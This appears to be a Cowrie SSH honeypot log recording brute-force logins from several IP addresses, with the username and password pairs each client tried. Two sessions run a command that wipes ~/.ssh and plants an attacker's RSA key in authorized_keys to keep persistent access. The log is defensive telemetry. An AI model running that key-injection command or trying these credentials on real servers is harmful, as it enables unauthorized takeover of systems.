{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:26.265450Z","src_ip":"147.50.103.212","session":"dcdfb505b4b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:27.339962Z","src_ip":"147.50.103.212","session":"dcdfb505b4b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:27.602555Z","src_ip":"147.50.103.212","session":"e8ee04e98337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:23:27.607809Z","src_ip":"147.50.103.212","session":"dcdfb505b4b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":56308,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d2e2fdf14af","protocol":"ssh","message":"New connection: 177.11.196.84:56308 (10.17.0.5:22) [session: 2d2e2fdf14af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:00.267296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:00.272355Z","src_ip":"177.11.196.84","session":"2d2e2fdf14af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:00.409915Z","src_ip":"177.11.196.84","session":"2d2e2fdf14af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manu","password":"Manu123","message":"login attempt [manu/Manu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:01.000002Z","src_ip":"177.11.196.84","session":"2d2e2fdf14af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:02.139841Z","src_ip":"177.11.196.84","session":"2d2e2fdf14af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":52158,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d3c89ff352b","protocol":"ssh","message":"New connection: 43.155.21.198:52158 (159.203.135.109:22) [session: 8d3c89ff352b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:18.272486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:18.276821Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:18.485878Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"q1w2E#R$","message":"login attempt [root/q1w2E#R$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:19.358002Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:19.870912Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:19.873401Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:19.876623Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:20.087940Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:20.544262Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:20.547593Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:20.761860Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:20.765669Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":52160,"dst_ip":"159.203.135.109","dst_port":22,"session":"534c10a28687","protocol":"ssh","message":"New connection: 43.155.21.198:52160 (159.203.135.109:22) [session: 534c10a28687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:20.967656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:20.972383Z","src_ip":"43.155.21.198","session":"534c10a28687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:21.181413Z","src_ip":"43.155.21.198","session":"534c10a28687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:22.056241Z","src_ip":"43.155.21.198","session":"534c10a28687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:23.269359Z","src_ip":"43.155.21.198","session":"534c10a28687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":52174,"dst_ip":"159.203.135.109","dst_port":22,"session":"d08403e32d6b","protocol":"ssh","message":"New connection: 43.155.21.198:52174 (159.203.135.109:22) [session: d08403e32d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:23.469068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:23.473133Z","src_ip":"43.155.21.198","session":"d08403e32d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:23.675996Z","src_ip":"43.155.21.198","session":"d08403e32d6b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:24.518663Z","src_ip":"43.155.21.198","session":"d08403e32d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:24.723949Z","src_ip":"43.155.21.198","session":"8d3c89ff352b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:24:24.727947Z","src_ip":"43.155.21.198","session":"d08403e32d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34360,"dst_ip":"10.17.0.5","dst_port":22,"session":"751284f7da85","protocol":"ssh","message":"New connection: 2.57.122.208:34360 (10.17.0.5:22) [session: 751284f7da85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:01.024223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:01.111836Z","src_ip":"2.57.122.208","session":"751284f7da85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:01.235838Z","src_ip":"2.57.122.208","session":"751284f7da85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:01.822209Z","src_ip":"2.57.122.208","session":"751284f7da85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:02.964254Z","src_ip":"2.57.122.208","session":"751284f7da85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":48628,"dst_ip":"10.17.0.5","dst_port":22,"session":"b48a1f9fda3b","protocol":"ssh","message":"New connection: 61.245.10.43:48628 (10.17.0.5:22) [session: b48a1f9fda3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:31.918220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:31.923112Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:32.173991Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qaz12345678!","message":"login attempt [root/Qaz12345678!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:33.208135Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:33.737606Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:33.740677Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:33.744433Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:25:33.997538Z","src_ip":"61.245.10.43","session":"b48a1f9fda3b","protocol":"ssh"}
